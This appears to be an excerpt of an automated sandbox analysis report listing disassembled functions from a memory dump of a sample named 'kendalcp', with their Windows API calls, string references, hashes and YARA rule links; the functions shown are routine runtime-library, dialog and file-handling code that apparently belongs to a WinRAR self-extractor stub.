Instruction Fuzzy Hash: E611EB72684710BBE3216B68AC4EFDF765CAB55741F008420FB42A50D3CAAC898786A9

Function 00728EB1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00728EC5

Part of subcall function 007284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?), ref: 007284F4
Part of subcall function 007284DE: GetLastError.KERNEL32(?,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?,?), ref: 00728506

_free.LIBCMT ref: 00728ED1
_free.LIBCMT ref: 00728EDC
_free.LIBCMT ref: 00728EE7
_free.LIBCMT ref: 00728EF2
_free.LIBCMT ref: 00728EFD
_free.LIBCMT ref: 00728F08
_free.LIBCMT ref: 00728F13
_free.LIBCMT ref: 00728F1E
_free.LIBCMT ref: 00728F2C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e0e5412a45e0419e977a0d63ad91854da7588caf384292441f23113eb653fccb
Instruction ID: b8a926098cfa9e7182248b5cc4347ed92b81149081599aa2d692e7b6a8fcc66a
Opcode Fuzzy Hash: e0e5412a45e0419e977a0d63ad91854da7588caf384292441f23113eb653fccb
Instruction Fuzzy Hash: E811D47650115DEFCB91FF54E846DDA3BA5FF08350B0140E0BA088F622DA36DA519B82

Function 00702162 Relevance: 14.5, APIs: 5, Strings: 3, Instructions: 480COMMON

Download Yara Rule

Strings

x%u, xrefs: 0070267A
;%u, xrefs: 00702497
xc%u, xrefs: 007026D7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID: ;%u$x%u$xc%u
API String ID: 0-2277559157
Opcode ID: 619673a60e4220aa678776e3af0a349dde7de2ad227865dc49e2f397d4d32439
Instruction ID: 3aef5706845f846af1d48fff3b52f56f89373d753521c4969c952ed5a385a770
Opcode Fuzzy Hash: 619673a60e4220aa678776e3af0a349dde7de2ad227865dc49e2f397d4d32439
Instruction Fuzzy Hash: 88F10872604240DBDB25EF38889DBEE77D96F90304F08076DF9858B2C3DA6D9845C7A2

Function 0071ACD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0070130B: GetDlgItem.USER32(00000000,00003021), ref: 0070134F
Part of subcall function 0070130B: SetWindowTextW.USER32(00000000,007335B4), ref: 00701365

EndDialog.USER32(?,00000001), ref: 0071AD20
SendMessageW.USER32(?,00000080,00000001,?), ref: 0071AD47
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 0071AD60
SetWindowTextW.USER32(?,?), ref: 0071AD71
GetDlgItem.USER32(?,00000065), ref: 0071AD7A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0071AD8E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 0071ADA4

Strings

LICENSEDLG, xrefs: 0071ACE4

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: e0fabce84b7e9662f523024aa385a848a184e1df17cce66e8113ddcc63e39710
Instruction ID: 60104e51808f34303b06a5a8a38a2a9eeb607daaafdc2169b0e53bd796eae153
Opcode Fuzzy Hash: e0fabce84b7e9662f523024aa385a848a184e1df17cce66e8113ddcc63e39710
Instruction Fuzzy Hash: 6621E431345604BBD3255F39FC49EBB3B6CEB06B46F018004F645E24E1DBAE9941D63A

Function 00709443 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00709448
GetLongPathNameW.KERNEL32 ref: 0070946B
GetShortPathNameW.KERNEL32(?,?,00000800,?,-00009558,?,007084F7,-00009558,00000000,000007F3), ref: 0070948A

Part of subcall function 007117AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0070BB05,00000000,.exe,?,?,00000800,?,?,007185DF,?), ref: 007117C2

_swprintf.LIBCMT ref: 00709526

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

MoveFileW.KERNEL32 ref: 00709595
MoveFileW.KERNEL32 ref: 007095D5

Strings

rtmp%d, xrefs: 0070950F

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: 699ce882a6328f108d9c66583dfb2c47f150d86218660f19b0ea9441a0c3e949
Instruction ID: 1694fd15e06898c2f9799a8e772e84f70605901e39676082ed61d662c80dd49e
Opcode Fuzzy Hash: 699ce882a6328f108d9c66583dfb2c47f150d86218660f19b0ea9441a0c3e949
Instruction Fuzzy Hash: 09415271900258E6DF30EB608C89ADB73BCAF55780F0445E5B649E31D2EB7D8B88CB64

Function 00718E62 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 00718F38
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00718F59
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00718F80

Strings

</html>, xrefs: 00718F0A
<html>, xrefs: 00718EA7, 00718EE0
utf-8"></head>, xrefs: 00718EBD
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00718EB2

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: ddb77ae1b164cf4b78b3c2f2bdb0558f51f5ae17d194ea9c8e849e606580e00d
Instruction ID: eaefed5993d62fe8b630372634bee0f4ebbfbf30d3a6504fbf0c29f40ddd8a95
Opcode Fuzzy Hash: ddb77ae1b164cf4b78b3c2f2bdb0558f51f5ae17d194ea9c8e849e606580e00d
Instruction Fuzzy Hash: C3312A31508315ABE724AB38AC06FEB775DDF81720F144519F801961C2EF6C9A99C3A6

Function 00728FA5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00740EE8,00723E14,00740EE8,?,?,00723713,00000050,?,00740EE8,00000200), ref: 00728FA9
_free.LIBCMT ref: 00728FDC
_free.LIBCMT ref: 00729004
SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 00729011
SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 0072901D
_abort.LIBCMT ref: 00729023

Strings

Xs, xrefs: 00728FF7

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID: Xs
API String ID: 3160817290-372796199
Opcode ID: 86d453794fb324f2e5c3ecfeeb631bf390c7d06943b580b24cead8271acf69a7
Instruction ID: 2372f165163a290b1e3908c2464e66a779fa42121b34a1b7a482b7492ce7036d
Opcode Fuzzy Hash: 86d453794fb324f2e5c3ecfeeb631bf390c7d06943b580b24cead8271acf69a7
Instruction Fuzzy Hash: C9F02831506631EBD3B133297D0EF2B2A5A9BD0762F294018F515E6292EF2ECD02501B

Function 00710A8A Relevance: 12.1, APIs: 8, Instructions: 115timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00710A9D

Part of subcall function 0070ACF5: GetVersionExW.KERNEL32(?), ref: 0070AD1A

FileTimeToLocalFileTime.KERNEL32(?,00000001,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00710AC0
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,00000001,00000000,?), ref: 00710AD2
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00710AE3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00710AF3
SystemTimeToFileTime.KERNEL32(?,?), ref: 00710B03
FileTimeToSystemTime.KERNEL32(?,?), ref: 00710B3D
__aullrem.LIBCMT ref: 00710BCB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 3bfc421398e71d9266146ed1a42b646fb07952947e3f0bffb1455d7936bf0281
Instruction ID: 0285d5ec17a343d6b65d528601f7aca4b091040aa4fe94e512a59bb2f259cbb7
Opcode Fuzzy Hash: 3bfc421398e71d9266146ed1a42b646fb07952947e3f0bffb1455d7936bf0281
Instruction Fuzzy Hash: 654129B14083069FD324DF64C8849ABF7F8FB88715F104A2EF59692650E779E588CB52

Function 0072EE2D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,0072F5A2,?,00000000,?,00000000,00000000), ref: 0072EE6F
__fassign.LIBCMT ref: 0072EEEA
__fassign.LIBCMT ref: 0072EF05
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 0072EF2B
WriteFile.KERNEL32(?,?,00000000,0072F5A2,00000000,?,?,?,?,?,?,?,?,?,0072F5A2,?), ref: 0072EF4A
WriteFile.KERNEL32(?,?,00000001,0072F5A2,00000000,?,?,?,?,?,?,?,?,?,0072F5A2,?), ref: 0072EF83

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 3b3d13af6520413372601c6ad2a5d770916d1bf94761f028dd52788a44b9819e
Instruction ID: 1c451ff52a735cc6f5169dd1b31ebe1b8d01008ba5d9c73307ffe54e2563bf10
Opcode Fuzzy Hash: 3b3d13af6520413372601c6ad2a5d770916d1bf94761f028dd52788a44b9819e
Instruction Fuzzy Hash: 4D51E671E002199FDB10CFA8ED45AEEBBF9FF09300F14451AE955E7291E7749980CB64

Function 0071C534 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 0071C54A
_swprintf.LIBCMT ref: 0071C57E

Part of subcall function 0070400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0070401D

SetDlgItemTextW.USER32(?,00000066,0074946A), ref: 0071C59E
_wcschr.LIBVCRUNTIME ref: 0071C5D1
EndDialog.USER32(?,00000001), ref: 0071C6B2

Strings

%s%s%u, xrefs: 0071C573

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: 44bd628cabe908ed1f3f1588ab831c5c58b48c9163209ffb317ad2fb2e8abc8a
Instruction ID: 9182f0e26cabf310307cf3b408cce815208259c425c37155faf0ea7d298d06cd
Opcode Fuzzy Hash: 44bd628cabe908ed1f3f1588ab831c5c58b48c9163209ffb317ad2fb2e8abc8a
Instruction Fuzzy Hash: 9B41A5B1940658FADB26DBA8CC45EDA77BCAF08701F0081A6E509D60E1E77D9BC4CB54

Function 00719635 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 0071964E
GetWindowRect.USER32(?,00000000), ref: 00719693
ShowWindow.USER32(?,00000005,00000000), ref: 0071972A
SetWindowTextW.USER32(?,00000000), ref: 00719732
ShowWindow.USER32(00000000,00000005), ref: 00719748

Strings

RarHtmlClassName, xrefs: 007196F4

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 0c9bef5c3b17af9e7ba9d93a152473af4fa839e557008a54c635dfb019c70c93
Instruction ID: a436136c43e8fbf6fe64bc5c38d9cc3f7138efff932c0d215859d703bfcf6616
Opcode Fuzzy Hash: 0c9bef5c3b17af9e7ba9d93a152473af4fa839e557008a54c635dfb019c70c93
Instruction Fuzzy Hash: FF310231008304EFDB559F68DC4CBABBBA8EF09701F008558FE0AA6193CB78D856CB65

Function 0072BFB5 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0072BF79: _free.LIBCMT ref: 0072BFA2

_free.LIBCMT ref: 0072C003

Part of subcall function 007284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?), ref: 007284F4
Part of subcall function 007284DE: GetLastError.KERNEL32(?,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?,?), ref: 00728506

_free.LIBCMT ref: 0072C00E
_free.LIBCMT ref: 0072C019
_free.LIBCMT ref: 0072C06D
_free.LIBCMT ref: 0072C078
_free.LIBCMT ref: 0072C083
_free.LIBCMT ref: 0072C08E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction ID: b38dee06bf207d588acaaf606a61b51178199640cc2a61d9c86544df518e2432
Opcode Fuzzy Hash: 11f2a1bb5d4160fb08a4b7348739aee2344f3630d5c617e2ee7e867637fc9caa
Instruction Fuzzy Hash: 5D118131541B28FAD670BBB0ED0BFCBB79D6F08700F408854B79966452DB6DF9049B91

Function 007220CA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,007220C1,0071FB12), ref: 007220D8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 007220E6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 007220FF
SetLastError.KERNEL32(00000000,?,007220C1,0071FB12), ref: 00722151

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6bbfa6ed0383bbcf2c59630833b9edf41f5717de5dff698621056a23d9ac2992
Instruction ID: 727b0881e900571484f8ad6a4556857d54f7b590353b4227f59f96f595b856c9
Opcode Fuzzy Hash: 6bbfa6ed0383bbcf2c59630833b9edf41f5717de5dff698621056a23d9ac2992
Instruction Fuzzy Hash: 0F01F732209735FEB7642BB57C8AB2A2B48EB117727314629F710590E3EF5ECD229148

Function 00729029 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0072895F,007285FB,?,00728FD3,00000001,00000364,?,00723713,00000050,?,00740EE8,00000200), ref: 0072902E
_free.LIBCMT ref: 00729063
_free.LIBCMT ref: 0072908A
SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 00729097
SetLastError.KERNEL32(00000000,?,00740EE8,00000200), ref: 007290A0

Strings

Xs, xrefs: 0072907E

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ErrorLast$_free
String ID: Xs
API String ID: 3170660625-372796199
Opcode ID: cdb5fb31fdabbdc908a876e6da9390b83033d701a41bfea1e880c2094561cf64
Instruction ID: 6ad4b50c7c43f54d7ff21e15936b083f1030cdefa98d7cdc74d799bfb8d563bd
Opcode Fuzzy Hash: cdb5fb31fdabbdc908a876e6da9390b83033d701a41bfea1e880c2094561cf64
Instruction Fuzzy Hash: 57012D72605736ABA33127757C8992B251E9BC0772B294028F715D6192DF7DCD014166

Function 0071DC9A Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 0071DCC9
ReleaseSRWLockExclusive, xrefs: 0071DCD9
KERNEL32.DLL, xrefs: 0071DCB4

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: deefae8e74da554e45685adf314c23db9cb1bc599007bff5de5ccf481c51274d
Instruction ID: 5b8781c31a608b323f676e7699d019bb83a49b71eecb12c81366794eaa817806
Opcode Fuzzy Hash: deefae8e74da554e45685adf314c23db9cb1bc599007bff5de5ccf481c51274d
Instruction Fuzzy Hash: B101D1617413225F9F305E7C6C816E72394AB41313720993AE942D72C0EA9DCCC1DEF4

Function 00728060 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0072807E

Part of subcall function 007284DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?), ref: 007284F4
Part of subcall function 007284DE: GetLastError.KERNEL32(?,?,0072BFA7,?,00000000,?,00000000,?,0072BFCE,?,00000007,?,?,0072C3CB,?,?), ref: 00728506

_free.LIBCMT ref: 00728090
_free.LIBCMT ref: 007280A3
_free.LIBCMT ref: 007280B4
_free.LIBCMT ref: 007280C5

Strings

s, xrefs: 00728074

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: s
API String ID: 776569668-3751460905
Opcode ID: fb58355b19b68903bc414c9ece1e24d600da65735b787c9f6cd1e538e71edc17
Instruction ID: cf0d27203890860a925405470440c52e4782f8cf97412b0ee9a9b5ade2bb3539
Opcode Fuzzy Hash: fb58355b19b68903bc414c9ece1e24d600da65735b787c9f6cd1e538e71edc17
Instruction Fuzzy Hash: 24F017B8902275CF97D17F15FC195053A65F71472034CC68AF40296AB1CF7E0865AFCA

Function 00710CBE Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

